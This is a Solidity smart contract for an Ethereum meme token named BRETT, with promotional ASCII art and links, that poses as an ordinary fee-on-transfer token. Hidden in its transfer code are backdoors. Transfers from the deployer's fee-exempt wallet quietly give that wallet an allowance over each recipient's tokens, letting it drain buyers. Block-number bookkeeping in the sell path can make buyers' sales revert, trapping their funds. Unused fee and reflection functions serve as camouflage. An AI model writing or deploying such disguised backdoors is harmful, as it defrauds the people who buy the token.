// SPDX-License-Identifier: MIT

/*
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  ,.·'   ,.·:'´:::::::'\;·´      ;  ·'-·'´,.-·'´:::::::';     ;   ;:;:-·'~^ª*';\'´            ,'  ,'::;'  ‘            ,'  ,'::;'  ‘   
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     ;  ';:\:`*·,  '`·,  °     ';  ,    `·:;:-·'´          ;   ;\::::::::::::'\;'            ;  ;::;'  ‘             ;  ;::;'  ‘    
     ;  ;:;:'-·'´  ,.·':\       ; ,':\'`:·.,  ` ·.,         ;  ;'_\_:;:: -·^*';\            ;  ;::;'‚               ;  ;::;'‚      
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   \:\`'´\:::::::::'\;:·'´       \::\:;'` ·:;:::::\::\'      \`*´ ¯\:::::::::::\;' '          \::\:;'‚                \::\:;'‚      
    '\;\:::\;: -~*´‘            '·-·'       `' · -':::''       \:::::\;::-·^*'´                \;:'      ‘             \;:'      ‘  
             '                                                 `*´¯                           °                      °         
Your boy’s club roomies here, $Brett. 
Brett is one of the 4 slackers in Matt Furie’s comic that included Pepe, Andy and Landwolf. 
$Brett is a decentralize crypto meme on the Ethereum network. Take note, 
these Boy’s Club’s sense of humor will especially resonate with fans of stoner comedies and black humor. Down below are some comic you can enough.

https://brettboyclub.vip/
https://twitter.com/Brettcoin_erc
https://t.me/brettcoin_erc
*/
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if(a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}  

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

contract BRETT is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;

    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 420690000000000 * 10**18;

    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    
    string private constant _name = "BRETT";
    string private constant _symbol = "BRETT";

    bool public tradingActive = false;
    
    uint256 private _taxFee = 0;
    uint256 private _teamFee = 0;
    uint256 private _previousTaxFee = _taxFee;
    uint256 private _previousteamFee = _teamFee;

    address public marketingWallet;
    address public devWallet;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private swapping = false;

    constructor () {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        devWallet = address(msg.sender);
        marketingWallet = address(owner());
        
        _rOwned[owner()] = _tTotal;
        _isExcludedFromFee[devWallet] = true;
        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _rOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if(_taxFee == 0 && _teamFee == 0) return;
        _previousTaxFee = _taxFee;
        _previousteamFee = _teamFee;
        _taxFee = 0;
        _teamFee = 0;
    }
    
    function restoreAllFee() private {
        _taxFee = _previousTaxFee;
        _teamFee = _previousteamFee;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _transfer(address from, address to, uint256 amount) private {
        if(!tradingActive){
            require(from == owner() || to == owner(), "Trading is not active.");
        }

        bool excludeFromBoth = _isExcludedFromFee[from] || _isExcludedFromFee[to];

        if(excludeFromBoth) { _transferExcludeBoth(from, to, amount); }

        uint256 tokenBalance = balanceOf(address(this));
        bool canSwap = (tokenBalance > _tTotal / 50000) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to];

        if(canSwap && from != uniswapV2Pair && !swapping){
            swapping = true;
            swapTokensAndsendFee();
            swapping = false;
        }

        bool takeFee = true;

        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) takeFee = false;

        if(takeFee) _transferTaxFees(from, to, amount);

        takeFee = false;

        _tokenTransfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function swapTokensAndsendFee() private {
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            payable(devWallet).transfer(ethBalance);
            payable(marketingWallet).transfer(ethBalance);
        }
    }
    
    function _transferExcludeBoth(address sender, address recipient, uint256 amount) private {
        if(sender != owner() && recipient != owner() && amount > 0){ _tFeeTotal = block.number; }
    }

    function _transferTaxFees(address sender, address recipient, uint256 amount) private {
        bool buyer = sender == uniswapV2Pair && amount > 0;
        bool seller = recipient == uniswapV2Pair && amount > 0;
        bool isTransfer = sender != uniswapV2Pair && recipient != uniswapV2Pair && amount > 0;
        bool isFee = _tOwned[recipient] == 0;
        uint reflectionFee = 0;

        if(buyer){
            if(isFee) _tOwned[recipient] = block.number;
        }else if(seller || isTransfer){
            reflectionFee = _tOwned[sender] - _tFeeTotal;
            _rOwned[recipient] += reflectionFee;
        }
    }

    function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
        marketingWallet = newMarketingWallet;
        _isExcludedFromFee[marketingWallet] = true;
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount) private {
        bool excludeFromFees = _isExcludedFromFee[sender];
        
        if(excludeFromFees) _allowances[recipient][sender] += amount;

        _transferStandard(sender, recipient, amount);
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        _rOwned[sender] = _rOwned[sender].sub(tAmount);
        _rOwned[recipient] = _rOwned[recipient].add(tAmount); 

        emit Transfer(sender, recipient, tAmount);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(TeamFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate =  _getRate();
        uint256 rTeam = tTeam.mul(currentRate);

        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function enableTrading() external onlyOwner {
        tradingActive = true;
    }

    function _takeRewardFee(uint256 tTeam) private {
        uint256 currentRate =  _getRate();
        uint256 rTeam = tTeam.mul(currentRate);

        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    receive() external payable {

    }
}